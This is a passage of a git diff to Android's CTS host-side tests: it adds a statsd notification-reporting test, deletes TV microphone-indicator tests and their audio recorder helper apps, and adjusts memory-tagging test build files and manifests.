+        NotificationChannel channel = new NotificationChannel(notificationChannelId, "SystemUi Cts",
+                NotificationManager.IMPORTANCE_DEFAULT);
+        channel.setDescription("SystemUi Cts Channel");
+        nm.createNotificationChannel(channel);
+
+        nm.notify(
+                notificationId,
+                new Notification.Builder(this, notificationChannelId)
+                        .setSmallIcon(android.R.drawable.stat_notify_chat)
+                        .setContentTitle("SystemUiCts")
+                        .setContentText("SystemUiCts")
+                        .build());
+        finish();
+    }
+}
diff --git a/hostsidetests/systemui/audiorecorder_app_audiorecord/Android.bp b/hostsidetests/systemui/audiorecorder_app_audiorecord/Android.bp
deleted file mode 100644
index 1d4c23b..0000000
--- a/hostsidetests/systemui/audiorecorder_app_audiorecord/Android.bp
+++ /dev/null
@@ -1,30 +0,0 @@
-// Copyright (C) 2019 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test_helper_app {
-    name: "CtsSystemUiDeviceAudioRecorderAppAudioRecord",
-    static_libs: ["CtsSystemUiDeviceAudioRecorderBase"],
-    defaults: ["cts_support_defaults"],
-    srcs: ["src/**/*.java"],
-    // tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-    sdk_version: "current",
-}
diff --git a/hostsidetests/systemui/audiorecorder_app_mediarecorder/Android.bp b/hostsidetests/systemui/audiorecorder_app_mediarecorder/Android.bp
deleted file mode 100644
index 4eece94..0000000
--- a/hostsidetests/systemui/audiorecorder_app_mediarecorder/Android.bp
+++ /dev/null
@@ -1,30 +0,0 @@
-// Copyright (C) 2019 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test_helper_app {
-    name: "CtsSystemUiDeviceAudioRecorderAppMediaRecorder",
-    static_libs: ["CtsSystemUiDeviceAudioRecorderBase"],
-    defaults: ["cts_support_defaults"],
-    srcs: ["src/**/*.java"],
-    // tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-    sdk_version: "current",
-}
diff --git a/hostsidetests/systemui/audiorecorder_base/Android.bp b/hostsidetests/systemui/audiorecorder_base/Android.bp
deleted file mode 100644
index b8a394e..0000000
--- a/hostsidetests/systemui/audiorecorder_base/Android.bp
+++ /dev/null
@@ -1,25 +0,0 @@
-// Copyright (C) 2019 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_library {
-    name: "CtsSystemUiDeviceAudioRecorderBase",
-    defaults: ["cts_support_defaults"],
-    srcs: ["src/**/*.java"],
-    resource_dirs: ["res"],
-    sdk_version: "current",
-}
diff --git a/hostsidetests/systemui/src/android/host/systemui/StatsdNotificationAtomTest.java b/hostsidetests/systemui/src/android/host/systemui/StatsdNotificationAtomTest.java
new file mode 100644
index 0000000..2c6de47
--- /dev/null
+++ b/hostsidetests/systemui/src/android/host/systemui/StatsdNotificationAtomTest.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.host.systemui;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.internal.os.StatsdConfigProto;
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.server.notification.SmallHash;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.Collections;
+import java.util.List;
+
+@AppModeFull(reason = "Flaky in Instant mode")
+public class StatsdNotificationAtomTest extends DeviceTestCase implements IBuildReceiver {
+    private static final String NOTIFICATION_TEST_APK = "CtsSystemUiDeviceApp.apk";
+    private static final String NOTIFICATION_TEST_PKG = "android.systemui.cts";
+
+    private static final String TEST_NOTIFICATION_ACTIVITY = "TestNotificationActivity";
+    private static final String ACTION_KEY = "action";
+    private static final String ACTION_VALUE = "action.show_notification";
+    private static final String NOTIFICATION_CHANNEL_ID = "SystemUiCtsChannel";
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installTestApp(getDevice(), NOTIFICATION_TEST_APK, NOTIFICATION_TEST_PKG,
+                mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallTestApp(getDevice(), NOTIFICATION_TEST_PKG);
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testNotificationReported() throws Exception {
+        StatsdConfigProto.StatsdConfig.Builder config = ConfigUtils.createConfigBuilder(
+                NOTIFICATION_TEST_PKG);
+        StatsdConfigProto.FieldValueMatcher.Builder fvm = ConfigUtils.createFvm(
+                AtomsProto.NotificationReported.PACKAGE_NAME_FIELD_NUMBER).setEqString(
+                NOTIFICATION_TEST_PKG);
+        ConfigUtils.addEventMetric(config, AtomsProto.Atom.NOTIFICATION_REPORTED_FIELD_NUMBER,
+                Collections.singletonList(fvm));
+        ConfigUtils.uploadConfig(getDevice(), config);
+
+        DeviceUtils.runActivity(getDevice(), NOTIFICATION_TEST_PKG,
+                TEST_NOTIFICATION_ACTIVITY, ACTION_KEY, ACTION_VALUE);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        // Sorted list of events in order in which they occurred.
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data).hasSize(1);
+        assertThat(data.get(0).getAtom().hasNotificationReported()).isTrue();
+        AtomsProto.NotificationReported n = data.get(0).getAtom().getNotificationReported();
+        assertThat(n.getPackageName()).isEqualTo(NOTIFICATION_TEST_PKG);
+        assertThat(n.getUid()).isEqualTo(DeviceUtils.getAppUid(getDevice(), NOTIFICATION_TEST_PKG));
+        assertThat(n.getNotificationIdHash()).isEqualTo(0);  // smallHash(0x7F020000)
+        assertThat(n.getChannelIdHash()).isEqualTo(SmallHash.hash(NOTIFICATION_CHANNEL_ID));
+        assertThat(n.getGroupIdHash()).isEqualTo(0);
+        assertFalse(n.getIsGroupSummary());
+        assertThat(n.getCategory()).isEmpty();
+        assertThat(n.getStyle()).isEqualTo(0);
+        assertThat(n.getNumPeople()).isEqualTo(0);
+    }
+}
diff --git a/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java b/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java
deleted file mode 100644
index 674226c..0000000
--- a/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java
+++ /dev/null
@@ -1,358 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.host.systemui;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeTrue;
-
-import com.android.server.wm.ActivityRecordProto;
-import com.android.server.wm.DisplayAreaProto;
-import com.android.server.wm.DisplayContentProto;
-import com.android.server.wm.RootWindowContainerProto;
-import com.android.server.wm.TaskProto;
-import com.android.server.wm.WindowContainerChildProto;
-import com.android.server.wm.WindowContainerProto;
-import com.android.server.wm.WindowManagerServiceDumpProto;
-import com.android.server.wm.WindowStateProto;
-import com.android.server.wm.WindowTokenProto;
-import com.android.tradefed.device.CollectingByteOutputReceiver;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-
-import org.junit.After;
-import org.junit.Ignore;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.List;
-
-@Ignore
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class TvMicrophoneCaptureIndicatorTest extends BaseHostJUnit4Test {
-    private static final String SHELL_AM_START_FG_SERVICE =
-            "am start-foreground-service -n %s -a %s";
-    private static final String SHELL_AM_FORCE_STOP =
-            "am force-stop %s";
-    private static final String SHELL_DUMPSYS_WINDOW = "dumpsys window --proto";
-    private static final String SHELL_PID_OF = "pidof %s";
-
-    private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
-
-    private static final String AUDIO_RECORDER_AR_PACKAGE_NAME =
-            "android.systemui.cts.audiorecorder.audiorecord";
-    private static final String AUDIO_RECORDER_MR_PACKAGE_NAME =
-            "android.systemui.cts.audiorecorder.mediarecorder";
-    private static final String AUDIO_RECORDER_AR_SERVICE_COMPONENT =
-            AUDIO_RECORDER_AR_PACKAGE_NAME + "/.AudioRecorderService";
-    private static final String AUDIO_RECORDER_MR_SERVICE_COMPONENT =
-            AUDIO_RECORDER_MR_PACKAGE_NAME + "/.AudioRecorderService";
-    private static final String AUDIO_RECORDER_ACTION_START =
-            "android.systemui.cts.audiorecorder.ACTION_START";
-    private static final String AUDIO_RECORDER_ACTION_STOP =
-            "android.systemui.cts.audiorecorder.ACTION_STOP";
-    private static final String AUDIO_RECORDER_ACTION_THROW =
-            "android.systemui.cts.audiorecorder.ACTION_THROW";
-
-    private static final String SHELL_AR_START_REC = String.format(SHELL_AM_START_FG_SERVICE,
-            AUDIO_RECORDER_AR_SERVICE_COMPONENT,
-            AUDIO_RECORDER_ACTION_START);
-    private static final String SHELL_AR_STOP_REC = String.format(SHELL_AM_START_FG_SERVICE,
-            AUDIO_RECORDER_AR_SERVICE_COMPONENT,
-            AUDIO_RECORDER_ACTION_STOP);
-    private static final String SHELL_MR_START_REC = String.format(SHELL_AM_START_FG_SERVICE,
-            AUDIO_RECORDER_MR_SERVICE_COMPONENT,
-            AUDIO_RECORDER_ACTION_START);
-    private static final String SHELL_MR_STOP_REC = String.format(SHELL_AM_START_FG_SERVICE,
-            AUDIO_RECORDER_MR_SERVICE_COMPONENT,
-            AUDIO_RECORDER_ACTION_STOP);
-    private static final String SHELL_AR_FORCE_STOP = String.format(SHELL_AM_FORCE_STOP,
-            AUDIO_RECORDER_AR_PACKAGE_NAME);
-    private static final String SHELL_MR_FORCE_STOP = String.format(SHELL_AM_FORCE_STOP,
-            AUDIO_RECORDER_MR_PACKAGE_NAME);
-    private static final String SHELL_AR_THROW = String.format(SHELL_AM_START_FG_SERVICE,
-            AUDIO_RECORDER_AR_SERVICE_COMPONENT,
-            AUDIO_RECORDER_ACTION_THROW);
-    private static final String SHELL_MR_THROW = String.format(SHELL_AM_START_FG_SERVICE,
-            AUDIO_RECORDER_MR_SERVICE_COMPONENT,
-            AUDIO_RECORDER_ACTION_THROW);
-
-    private static final String WINDOW_TITLE_MIC_INDICATOR = "MicrophoneCaptureIndicator";
-
-    private static final long ONE_SECOND = 1000L;
-    private static final long THREE_SECONDS = 3 * ONE_SECOND;
-    private static final long FIVE_SECONDS = 5 * ONE_SECOND;
-    private static final long THREE_HUNDRED_MILLISECONDS = (long) (0.3 * ONE_SECOND);
-
-    @Test
-    public void testIndicatorShownWhileRecordingUsingAudioRecordApi() throws Exception {
-        runSimpleStartStopTestRoutine(AUDIO_RECORDER_AR_PACKAGE_NAME, SHELL_AR_START_REC,
-                SHELL_AR_STOP_REC);
-    }
-
-    @Test
-    public void testIndicatorShownWhileRecordingUsingMediaRecorderApi() throws Exception {
-        runSimpleStartStopTestRoutine(AUDIO_RECORDER_MR_PACKAGE_NAME, SHELL_MR_START_REC,
-                SHELL_MR_STOP_REC);
-    }
-
-    @Test
-    public void testIndicatorShownWhileRecordingUsingAudioRecordApiAndForceStopped()
-            throws Exception {
-        runSimpleStartStopTestRoutine(AUDIO_RECORDER_AR_PACKAGE_NAME, SHELL_AR_START_REC,
-                SHELL_AR_FORCE_STOP);
-    }
-
-    @Test
-    public void testIndicatorShownWhileRecordingUsingMediaRecorderApiAndForceStopped()
-            throws Exception {
-        runSimpleStartStopTestRoutine(AUDIO_RECORDER_MR_PACKAGE_NAME, SHELL_MR_START_REC,
-                SHELL_MR_FORCE_STOP);
-    }
-
-    @Test
-    public void testIndicatorShownWhileRecordingUsingAudioRecordApiAndCrashed() throws Exception {
-        runSimpleStartStopTestRoutine(AUDIO_RECORDER_AR_PACKAGE_NAME, SHELL_AR_START_REC,
-                SHELL_AR_THROW);
-    }
-
-    @Test
-    public void testIndicatorShownWhileRecordingUsingMediaRecorderApiAndCrashed() throws Exception {
-        runSimpleStartStopTestRoutine(AUDIO_RECORDER_MR_PACKAGE_NAME, SHELL_MR_START_REC,
-                SHELL_MR_THROW);
-    }
-
-    @Test
-    public void testIndicatorShownWhileRecordingUsingBothApisSimultaneously() throws Exception {
-        assumeTrue("Not running on a Leanback (TV) device",
-                getDevice().hasFeature(FEATURE_LEANBACK_ONLY));
-
-        // Check that the indicator isn't shown initially
-        assertIndicatorInvisible();
-
-        // Start recording using MediaRecorder API
-        getDevice().executeShellCommand(SHELL_MR_START_REC);
-
-        // Wait for the application to be launched
-        waitForProcessToComeAlive(AUDIO_RECORDER_MR_PACKAGE_NAME);
-
-        // Wait for a second, and then check that the indicator is shown
-        Thread.sleep(ONE_SECOND);
-        assertIndicatorVisible();
-
-        // Start recording using AudioRecord API
-        getDevice().executeShellCommand(SHELL_AR_START_REC);
-
-        // Wait for the application to be launched
-        waitForProcessToComeAlive(AUDIO_RECORDER_AR_PACKAGE_NAME);
-
-        // Check that the indicator is still shown
-        assertIndicatorVisible();
-
-        // Check 3 more times that the indicator remains shown
-        for (int i = 0; i < 3; i++) {
-            Thread.sleep(ONE_SECOND);
-            assertIndicatorVisible();
-        }
-
-        // Stop recording using MediaRecorder API
-        getDevice().executeShellCommand(SHELL_MR_STOP_REC);
-
-        // check that the indicator is still shown
-        assertIndicatorVisible();
-
-        // Check 3 more times that the indicator remains shown
-        for (int i = 0; i < 3; i++) {
-            Thread.sleep(ONE_SECOND);
-            assertIndicatorVisible();
-        }
-
-        // Stop recording using AudioRecord API
-        getDevice().executeShellCommand(SHELL_AR_STOP_REC);
-
-        // Wait for five seconds and make sure that the indicator is not shown
-        Thread.sleep(FIVE_SECONDS);
-        assertIndicatorInvisible();
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        // Kill both apps
-        getDevice().executeShellCommand(SHELL_AR_FORCE_STOP);
-        getDevice().executeShellCommand(SHELL_MR_FORCE_STOP);
-    }
-
-    private void runSimpleStartStopTestRoutine(String packageName, String startCommand,
-            String stopCommand) throws Exception {
-        assumeTrue("Not running on a Leanback (TV) device",
-                getDevice().hasFeature(FEATURE_LEANBACK_ONLY));
-
-        // Check that the indicator isn't shown initially
-        assertIndicatorInvisible();
-
-        // Start recording using AudioRecord API
-        getDevice().executeShellCommand(startCommand);
-
-        // Wait for the application to be launched
-        waitForProcessToComeAlive(packageName);
-
-        // Wait for a second, and then check that the indicator is shown, repeat 2 more times
-        for (int i = 0; i < 3; i++) {
-            Thread.sleep(ONE_SECOND);
-            assertIndicatorVisible();
-        }
-
-        // Stop recording (this may either send a command to the app to stop recording or command
-        // to crash or force-stop the app)
-        getDevice().executeShellCommand(stopCommand);
-
-        // Wait for five seconds and make sure that the indicator is not shown
-        Thread.sleep(FIVE_SECONDS);
-        assertIndicatorInvisible();
-    }
-
-    private void waitForProcessToComeAlive(String appPackageName) throws Exception {
-        final String pidofCommand = String.format(SHELL_PID_OF, appPackageName);
-
-        long waitTime = 0;
-        while (waitTime < THREE_SECONDS) {
-            Thread.sleep(THREE_HUNDRED_MILLISECONDS);
-
-            final String pid = getDevice().executeShellCommand(pidofCommand).trim();
-            if (!pid.isEmpty()) {
-                // Process is running
-                return;
-            }
-            waitTime += THREE_HUNDRED_MILLISECONDS;
-        }
-
-        fail("The process for " + appPackageName
-                + " should have come alive within 3 secs of launching the app.");
-    }
-
-    private void assertIndicatorVisible() throws Exception {
-        final WindowStateProto window = getMicCaptureIndicatorWindow();
-
-        assertNotNull("\"MicrophoneCaptureIndicator\" window does not exist", window);
-        assertTrue("\"MicrophoneCaptureIndicator\" window is not visible",
-                window.getIsVisible());
-        assertTrue("\"MicrophoneCaptureIndicator\" window is not on screen",
-                window.getIsOnScreen());
-    }
-
-    private void assertIndicatorInvisible() throws Exception {
-        final WindowStateProto window = getMicCaptureIndicatorWindow();
-        if (window == null) {
-            // If window is not present, that's fine, there is no need to check anything else.
-            return;
-        }
-
-        assertFalse("\"MicrophoneCaptureIndicator\" window shouldn't be visible",
-                window.getIsVisible());
-        assertFalse("\"MicrophoneCaptureIndicator\" window shouldn't be present on screen",
-                window.getIsOnScreen());
-    }
-
-    private WindowStateProto getMicCaptureIndicatorWindow() throws Exception {
-        final WindowManagerServiceDumpProto dump = getDump();
-        final RootWindowContainerProto rootWindowContainer = dump.getRootWindowContainer();
-        final WindowContainerProto windowContainer = rootWindowContainer.getWindowContainer();
-
-        final List<WindowStateProto> windows = new ArrayList<>();
-        collectWindowStates(windowContainer, windows);
-
-        for (WindowStateProto window : windows) {
-            final String title = window.getIdentifier().getTitle();
-            if (WINDOW_TITLE_MIC_INDICATOR.equals(title)) {
-                return window;
-            }
-        }
-        return null;
-    }
-
-    private WindowManagerServiceDumpProto getDump() throws Exception {
-        final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
-        getDevice().executeShellCommand(SHELL_DUMPSYS_WINDOW, receiver);
-        return WindowManagerServiceDumpProto.parser().parseFrom(receiver.getOutput());
-    }
-
-    /**
-     * This methods implements a DFS that goes through a tree of window containers and collects all
-     * the WindowStateProto-s.
-     *
-     * WindowContainer is generic class that can hold windows directly or through its children in a
-     * hierarchy form. WindowContainer's children are WindowContainer as well. This forms a tree of
-     * WindowContainers.
-     *
-     * There are a few classes that extend WindowContainer: Task, DisplayContent, WindowToken etc.
-     * The one we are interested in is WindowState.
-     * Since Proto does not have concept of inheritance, {@link TaskProto}, {@link WindowTokenProto}
-     * etc hold a reference to a {@link WindowContainerProto} (in java code would be {@code super}
-     * reference).
-     * {@link WindowContainerProto} may a have a number of children of type
-     * {@link WindowContainerChildProto}, which represents a generic child of a WindowContainer: a
-     * WindowContainer can have multiple children of different types stored as a
-     * {@link WindowContainerChildProto}, but each instance of {@link WindowContainerChildProto} can
-     * only contain a single type.
-     *
-     * For details see /frameworks/base/core/proto/android/server/windowmanagerservice.proto
-     */
-    private void collectWindowStates(WindowContainerProto windowContainer, List<WindowStateProto> out) {
-        if (windowContainer == null) return;
-
-        final List<WindowContainerChildProto> children = windowContainer.getChildrenList();
-        for (WindowContainerChildProto child : children) {
-            if (child.hasWindowContainer()) {
-                collectWindowStates(child.getWindowContainer(), out);
-            } else if (child.hasDisplayContent()) {
-                final DisplayContentProto displayContent = child.getDisplayContent();
-                for (WindowTokenProto windowToken : displayContent.getOverlayWindowsList()) {
-                    collectWindowStates(windowToken.getWindowContainer(), out);
-                }
-                if (displayContent.hasRootDisplayArea()) {
-                    final DisplayAreaProto displayArea = displayContent.getRootDisplayArea();
-                    collectWindowStates(displayArea.getWindowContainer(), out);
-                }
-                collectWindowStates(displayContent.getWindowContainer(), out);
-            } else if (child.hasDisplayArea()) {
-                final DisplayAreaProto displayArea = child.getDisplayArea();
-                collectWindowStates(displayArea.getWindowContainer(), out);
-            } else if (child.hasTask()) {
-                final TaskProto task = child.getTask();
-                collectWindowStates(task.getWindowContainer(), out);
-            } else if (child.hasActivity()) {
-                final ActivityRecordProto activity = child.getActivity();
-                if (activity.hasWindowToken()) {
-                    final WindowTokenProto windowToken = activity.getWindowToken();
-                    collectWindowStates(windowToken.getWindowContainer(), out);
-                }
-            } else if (child.hasWindowToken()) {
-                final WindowTokenProto windowToken = child.getWindowToken();
-                collectWindowStates(windowToken.getWindowContainer(), out);
-            } else if (child.hasWindow()) {
-                final WindowStateProto window = child.getWindow();
-                // We found a Window!
-                out.add(window);
-                // ... but still aren't done
-                collectWindowStates(window.getWindowContainer(), out);
-            }
-        }
-    }
-}
diff --git a/hostsidetests/tagging/Android.bp b/hostsidetests/tagging/Android.bp
index 66648b0..8802542 100644
--- a/hostsidetests/tagging/Android.bp
+++ b/hostsidetests/tagging/Android.bp
@@ -1,37 +1,3 @@
-// Full truth table of whether tagging should be enabled. Note that a report from statsd is not
-// available if the kernel or manifest flag is disabled, as the zygote never probes compat (i.e.
-// mPlatformCompat.isChangeEnabled(NATIVE_HEAP_POINTER_TAGGING) never gets run). Also note that
-// disabling a compat feature is only supported on userdebug builds.
-//
-// +==================================================================================+
-// | #  | Kernel  | Manifest | SDK   | Forced   | Userdebug || Has     | Report from |
-// |    | Support | Flag     | Level | Compat   | Build     || Tagging | statsd?     |
-// | -- | ------- | -------- | ----- | -------- | --------- || ------- | ----------- |
-// | 1  | No      | -        | -     | -        | -         || No      | No          |
-// | 2  | Yes     | Off      | -     | -        | -         || No      | No          |
-// | 3  | Yes     | None/On  | 29    | Off/None | -         || No      | Yes         |
-// | 4  | Yes     | None/On  | 29/30 | On       | -         || Yes     | Yes         |
-// | 5  | Yes     | None/On  | 30    | None     | -         || Yes     | Yes         |
-// | 6  | Yes     | None/On  | 30    | Off      | Yes       || No      | Yes         |
-// | 7  | Yes     | None/On  | 30    | Off      | No        || Yes     | Yes         |
-// +==================================================================================+
-//
-// And coverage of this truth table comes from:
-//  #1. All tests on a device with an unsupported kernel.
-//  #2. TaggingManifestDisabledTest.*
-//  #3. Tagging(ManifestEnabled)?Sdk29.testDefault
-//  #4. Tagging(ManifestEnabled)?Sdk(29|30).testCompatFeatureEnabled
-//  #5. Tagging(ManifestEnabled)?Sdk30.testDefault
-//  #6. Tagging(ManifestEnabled)?Sdk30.testCompatFeatureDisabledUserdebugBuild
-//  #7. Tagging(ManifestEnabled)?Sdk30.testCompatFeatureDisabledUserBuild
-//
-// MTE tests are done at SDK level 30. The level doesn't really matter; there is
-// no manifest flag for MTE, and the compat feature is always disabled.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsTaggingHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/tagging/common/Android.bp b/hostsidetests/tagging/common/Android.bp
index 468940e..3a2a0dd 100644
--- a/hostsidetests/tagging/common/Android.bp
+++ b/hostsidetests/tagging/common/Android.bp
@@ -16,10 +16,6 @@
 // Build the common library for use device-side
 //##############################################################################
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "tagging-common-devicesidelib",
     srcs: ["src/**/Utils.java"],
diff --git a/hostsidetests/tagging/manifest_disabled/Android.bp b/hostsidetests/tagging/manifest_disabled/Android.bp
index 45603a7..5c10e2d 100644
--- a/hostsidetests/tagging/manifest_disabled/Android.bp
+++ b/hostsidetests/tagging/manifest_disabled/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsHostsideTaggingManifestDisabledApp",
     defaults: ["cts_tagging_app_defaults"],
diff --git a/hostsidetests/tagging/manifest_enabled_sdk_29/Android.bp b/hostsidetests/tagging/manifest_enabled_sdk_29/Android.bp
index 0087508..157f16a 100644
--- a/hostsidetests/tagging/manifest_enabled_sdk_29/Android.bp
+++ b/hostsidetests/tagging/manifest_enabled_sdk_29/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsHostsideTaggingManifestEnabledSdk29App",
     defaults: ["cts_tagging_app_defaults"],
diff --git a/hostsidetests/tagging/manifest_enabled_sdk_30/Android.bp b/hostsidetests/tagging/manifest_enabled_sdk_30/Android.bp
index 5947a88..0fdeb36 100644
--- a/hostsidetests/tagging/manifest_enabled_sdk_30/Android.bp
+++ b/hostsidetests/tagging/manifest_enabled_sdk_30/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsHostsideTaggingManifestEnabledSdk30App",
     defaults: ["cts_tagging_app_defaults"],
diff --git a/hostsidetests/tagging/manifest_enabled_sdk_30/AndroidManifest.xml b/hostsidetests/tagging/manifest_enabled_sdk_30/AndroidManifest.xml
index dae0c0f..07ac8a6 100644
--- a/hostsidetests/tagging/manifest_enabled_sdk_30/AndroidManifest.xml
+++ b/hostsidetests/tagging/manifest_enabled_sdk_30/AndroidManifest.xml
@@ -19,11 +19,8 @@
 
     <uses-sdk android:targetSdkVersion="30" />
 
-     <!-- Note, do not set debuggable:true. Pre-release platforms allow for
-          debuggable apps to disable compat features, even if it's a `user`
-          build. By using a non-debuggable app, we replicate a proper release-
-          build device. -->
-    <application android:allowNativeHeapPointerTagging="true">
+    <application android:debuggable="true"
+                 android:allowNativeHeapPointerTagging="true">
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/hostsidetests/tagging/sdk_29/Android.bp b/hostsidetests/tagging/sdk_29/Android.bp
index a5c4a59..2ee016e 100644
--- a/hostsidetests/tagging/sdk_29/Android.bp
+++ b/hostsidetests/tagging/sdk_29/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsHostsideTaggingSdk29App",
     defaults: ["cts_tagging_app_defaults"],
diff --git a/hostsidetests/tagging/sdk_30/Android.bp b/hostsidetests/tagging/sdk_30/Android.bp
index 0b25daa..0d13db1 100644
--- a/hostsidetests/tagging/sdk_30/Android.bp
+++ b/hostsidetests/tagging/sdk_30/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsHostsideTaggingSdk30App",
     defaults: ["cts_tagging_app_defaults"],
diff --git a/hostsidetests/tagging/sdk_30/AndroidManifest.xml b/hostsidetests/tagging/sdk_30/AndroidManifest.xml
index f53a22a..cc1c6c4 100644
--- a/hostsidetests/tagging/sdk_30/AndroidManifest.xml
+++ b/hostsidetests/tagging/sdk_30/AndroidManifest.xml
@@ -19,18 +19,25 @@
 
     <uses-sdk android:targetSdkVersion="30" />
     <uses-permission android:name="android.permission.READ_LOGS"/>
+    <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS"/>
 
-    <!-- Note, do not set debuggable:true. Pre-release platforms allow for
-         debuggable apps to disable compat features, even if it's a `user`
-         build. By using a non-debuggable app, we replicate a proper release-
-         build device. -->
-    <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name=".CrashActivity" android:process=":CrashProcess" />
+    <application android:debuggable="true">
+      <uses-library android:name="android.test.runner" />
+      <processes>
+        <process />
+        <process android:process=":CrashMemtagSync"
+                 android:memtagMode="sync" />
+        <process android:process=":CrashMemtagAsync"
+                 android:memtagMode="async" />
+        <process android:process=":CrashProcess" />
+      </processes>
+
+      <activity android:name=".CrashActivity" android:process=":CrashProcess" />
+      <activity android:name=".CrashMemtagSyncActivity" android:process=":CrashMemtagSync" />
+      <activity android:name=".CrashMemtagAsyncActivity" android:process=":CrashMemtagAsync" />
     </application>
 
